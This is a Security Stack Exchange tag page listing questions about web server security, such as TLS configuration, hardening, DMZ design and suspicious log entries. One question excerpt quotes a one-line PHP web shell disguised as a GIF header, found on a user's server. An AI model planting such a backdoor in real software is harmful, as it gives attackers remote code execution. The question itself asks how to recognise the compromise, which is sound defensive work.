A system whose primary function is to deliver web pages on request to clients.

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5
votes
2answers
465 views

Are there any downsides to using Let's Encrypt for a website's SSL certificates?

On the advantages side, I see several benefits to using the Let's Encrypt service (e.g., the service is free, easy to setup, and easy to maintain). I'm wondering what, if any, are the disadvantages to ...
1
vote
1answer
307 views

Is opportunistic encryption support optional for HTTP/2?

I'm a little unclear on the subject of opportunistic encryption of the HTTP:// address scheme in HTTP/2. According to the bug report, it looks like it's kinda optional, and an afterthought: ...
1
vote
4answers
297 views

Malware script uploaded - CPU has been maxed out

I received notifications that the CPU was maxed out. Using Process Manager in WHM, I could see that commands named "fuckyou" was running some kind of cron sript on our server. The file it was calling ...
14
votes
5answers
3k views

Are consumer-grade routers any more or less vulnerable? [closed]

I apologize if this is an obvious question, I'm not very familiar with hardware. I am planning on hosting a few personal websites from my home, but I'm concerned about my security. I'm using a fairly ...
3
votes
3answers
2k views

What risks are involved in exposing our home computers over the public internet?

I'm currently running a webserver from home accessible on the public internet via a static IP. What kind of risks are there in doing so? From what I understand, the setup will not allow connections ...
4
votes
2answers
130 views

Is using a self signed certificate safer than a free ssl certificate? [duplicate]

I have a personal website/email server, basically for my own self learning use. I am using CACert (http://www.cacert.org/) for my SSL certificate as advised in a tutorial. I have no clue about ...
2
votes
1answer
385 views

Are there any security implications in creating an SSH key for the root user?

I've written an install script on a server to quickly set up new sites in the /srv directory. It needs to do a git clone, and has to be run via sudo in order to have the permissions to do all the ...
1
vote
0answers
176 views

What web browsers support ECC vs DSA vs RSA for SSL/TLS?

We are updating our wildcard certificate and see that we have the option to use both RSA or DSA with Symantec (for free), while Digicert offers 3 options for wildcards ECC, DSA and RSA. Is there a ...
0
votes
1answer
121 views

Why is Parallels Plesk running on port 8443 > 1023?

Parallels Plesk, a server administration software package, uses HTTP(S) on port 8443 (ref). I know that ports <1024 are only available for root. This means that if the server Plesk is using for ...
1
vote
2answers
132 views

Securing user supplied files in IIS

I have an Internet website running on IIS/Windows configured as follows: The website is publicly accessible for visitors to browse. A user can login and upload files. The user will be able to see ...
12
votes
6answers
5k views

Index page has been compromised, suspicious files are showing up

My website has been hacked lately and it has been defaced. Now I have weird files, don't know where they coming from. I just want to know, what of these files are harmful or can cause that I get ...
59
votes
4answers
49k views

“Optimal” Web Server SSL Cipher Suite Configuration

Over the last couple of years there have been a number of changes in what would be considered an optimal SSL cipher suite configuration (e.g. the BEAST and CRIME attacks, the weaknesses in RC4) My ...
2
votes
2answers
277 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
2
votes
1answer
169 views

Why is the HTTP Server header not used by most servers, but the User agent used by most browsers? [closed]

I've read that the Server header would disclose information, and that its use would be bad. The arguments made in that question also apply for the User agent header. So why is it still used, and not a ...
13
votes
4answers
720 views

Custom socket server on the internet running as root

We are writing a custom socket server which runs on a high port. Until recently, it has been running behind a corporate firewall. Now, it has been decided that the server should be taken outside the ...
0
votes
1answer
38 views

In What Ways Can X-Foward-For Header Information Be Used In An Attack

By enabling X-Foward-For on our proxy, we would essentially be advertising our internal IP addresses externally. However, we use a private range. Everything goes through NAT. So, the best anyone would ...
-1
votes
1answer
133 views

How to test if my server is secure? [closed]

I'm using a debian7 VPS for hosting my websites. I have only installed webmin, apache, mysql, SSH and a wordpress website. I always update my packages and wordpress version. What is the best (free) ...
0
votes
1answer
56 views

Are DLLs in URLs executed on users local machine or on the remove machine?

In this question I am referring to DLLs listed in URLs such as this one: http://survey1.sendyouropinions.com/mrIWeb/mrIWeb.dll When this kind of URL is navigated to, is the code in the DLL executed ...
0
votes
1answer
38 views

Sharing sensitive information across servers on visits from the same browser

I have this scenario: Webserver domain A. Generates sensitive information when a request from a browser is received but this information is not disclosed to the browser. Webserver domain B. ...
1
vote
1answer
198 views

Securing a VPS network with a VPN and a DMZ

I've got several VPS boxes (Digital Ocean boxes w/Ubuntu) that I would like to lock down from the outside world. I want to have several private boxes (web servers, db servers, puppet/master boxes ...
0
votes
1answer
88 views

“Transferring” SSL certificate to another person [closed]

Last year, I did a lot of work on a site as a freelancer. We wanted to put the whole thing behind HTTPS, so, for reasons I can't recall but probably expediency-related, I purchased a cert for it under ...
0
votes
1answer
76 views

HttpOnly at logout page [closed]

Firstly, my website can't be accessed without a session established. After a session is established then the server would set cookies. However, if i assess the website without a session, my site will ...
7
votes
1answer
146 views

Secure HTTP headers

In this article, the example shows ... HttpOnly;Secure However, a check on my server response show ... Secure;HttpOnly This may be a stupid question but, does the order matter? thanks
1
vote
1answer
44 views

Running webserver with SSL enabled but not used

We have a web server hosted by a third party running on port 80. They have also enabled SSL but we did not use it. We are just using port 80. Right now, when I do a vulnerability scan, some SSL ...
2
votes
1answer
95 views

wordpress server visitor log contains a script, what's the risk?

I see this in my WP statistics: Is it safe to click on the link? Under what conditions will the script be triggered?
2
votes
2answers
69 views

Using a special user to manage web server? [closed]

I just rented a VPS, in order to run a web server. I installed LAMP utilities and everything work. I have actually only 1 user (root). This means everytime I want to connect to my server to modify ...
3
votes
1answer
60 views

Where to start , secure an AWS Ubuntu 14.04 [closed]

Ok so this is probably a basic question but I would like to expand my knowledge. I have created an AWS Ubuntu EC2 server. I am running software on the server that provides 2 services , firstly a ...
0
votes
1answer
45 views

System backup in case of attack?

My system will be running for a well known insurance company within the UK, it will hold and process a lot of information for claims, brakdowns etc etc. I am worried that the company and the site as ...
8
votes
2answers
4k views

Is server hardening with GRSecurity really necessary on the CentOS 6.3 environment?

I consider myself to be reasonably good with IT, however I am relatively fresh at server and system administration. I am a web developer for my company and I have been charged with setting up and ...
2
votes
1answer
66 views

How to find out if content on my XAMPP server has been altered

During the development of a site, me and the team decided to develop the site with my computer as a server, with me making my localhost available from outside. I have been using several settings to ...
2
votes
1answer
853 views

Worrying httpd access logs [duplicate]

so after setting up a new server with just ssh (public key only) and a webserver which just serves one index.html I left for the weekend. Logging in on Monday I see this type of thing in my httpd ...
2
votes
1answer
52 views

Secure the config file of a service

I have a service running on a linux box, started with upstart, that runs as user "the_user", it has to read a config file. Having the file owned by root would make things more secure, but would ...
2
votes
1answer
115 views

Whitelist for HTTP request

Malicious request can come in the form of user agent string, referrer or cookie. To prevent being pawned by zero day attacks such as Shellshock, I have created a whitelist of characters for user agent ...
21
votes
4answers
29k views

Strange requests to web server

I have a Linode VPS running Nginx, which currently serves only static content. Once I was looking at the log and noticed some strange requests: XXX.193.171.202 - - [07/Aug/2013:14:04:36 +0400] "GET ...
12
votes
9answers
4k views

Can an old operating system webserver be made secure?

I have an old laptop with far too little RAM to run Linux (including specialty distributions). It can however run Windows 98 just fine, and I'm looking into turning it into a tiny retro webserver. Is ...
0
votes
1answer
163 views

How does a reverse proxy change the security posture of a web server residing in the DMZ? [closed]

How does the reverse proxy change internal and external security posture with a reverse proxy compared to not having a reverse proxy? For example, you have a publicly accessible iis server, what is ...
4
votes
1answer
159 views

Why does my web server receive so many TCP resets from some clients?

I run a web server and log connections that are dropped. Occasionally, I get a burst of TCP RST packets from some of my clients, like this: Feb 11 11:56:29 SRC=1.2.3.4 TTL=57 SPT=38383 DPT=80 ...
2
votes
3answers
153 views

Is it okay to only use username/password to secure an admin page for moderating a website?

Is there a standard practice to securing an admin page for an application written in angular and nodejs or just in general? The admin page would approve/ban users and moderate comments. Should it be ...
0
votes
2answers
185 views

Preventing ARP spoofing in DMZ

Is there any possible way to implement a defence mechanism in a firewall to be able to prevent ARP spoofing in a DMZ. Our DMZ server consist of two webservers and a database (which should be available ...
0
votes
2answers
132 views

Place database in the DMZ and in the internal network

Is it sufficient to have single database inside the DMZ which the webservers in the DMZ receives their data from. Or if setup with two databases is a better solution, that would be to have a ...
1
vote
1answer
390 views

Cross Domain Javascript security [duplicate]

I used a web vulnerability scanner to scan my web site. It indicates several links with "Cross domain Java script source file inclusion." May I know how would an attacker exploit this type of ...
1
vote
1answer
226 views

How to know an Apache web server mod_cgi module is enabled?

I am currently working on penetration test of a web site that uses an Apache HTTP server. To test a vulnerability which is related to mod_cgi module, I need to know whether this web site uses mod_cgi ...
1
vote
1answer
84 views

What are the traces of a mysql attack on a server when the attacker has full permissions?

I just turned my server off yesterday, after it began to distribute comment spam across the internet, at an astounding rate over 70 "spams"/min, bottom of the line 1/2 gig ram VPS. I'm still trying to ...
28
votes
4answers
4k views

Why am I getting strange HTTP requests for non-existing pages?

I am running a web server and watching what people request. I have been getting frequent traffic like: GET /phph/php/ph.php HTTP/1.1 or GET /mrmr/mrm/mr.php HTTP/1.1 Are these scans? Are the ...
1
vote
3answers
72 views

Is it good practice to let Node/Go/… act as a frontend webserver?

I'm used to writing web stuff in PHP and let Apache or nginx handle the actual HTTP handling and load my code via whatever means (mod_php, fcgi, fpm, ...). I'm under the impression that this is a ...
1
vote
0answers
64 views

Vega Scanner Took Website offline? [closed]

I used the Subgraph Vega scanner to scan a website, I wanted to get any linked social media pages from their site. Anyway soon into the scan the page went offline with a 404. I checked with different ...
1
vote
1answer
44 views

add another layer of protection on top of oauth 2

My Rest API is protected using Oauth2. My main client is a native app. it's working great but there are certain calls to the API that i want to make sure that are performed from my client - meaning ...
10
votes
4answers
1k views

What is Net-Worm.PHP.Mongiko trying to do?

I found several lines of this request in my web server access log: Source IP Dest IP Request Stat User agent 217.172.190.19 ...
1
vote
1answer
131 views

Best practice for https Private Key Generation

I am working with a security person that baffles me a bit with the practices he performs. Besides the issue of this person insisting on bypassing every security measure in place we have got into it ...
5
votes
3answers
293 views

PHP | Security for allowing user uploads

My Sittuation: I am creating a web application with PHP which allows users to scan their files for viruses. It allows the user to upload their files via the html "file" input type or via a URL. I ...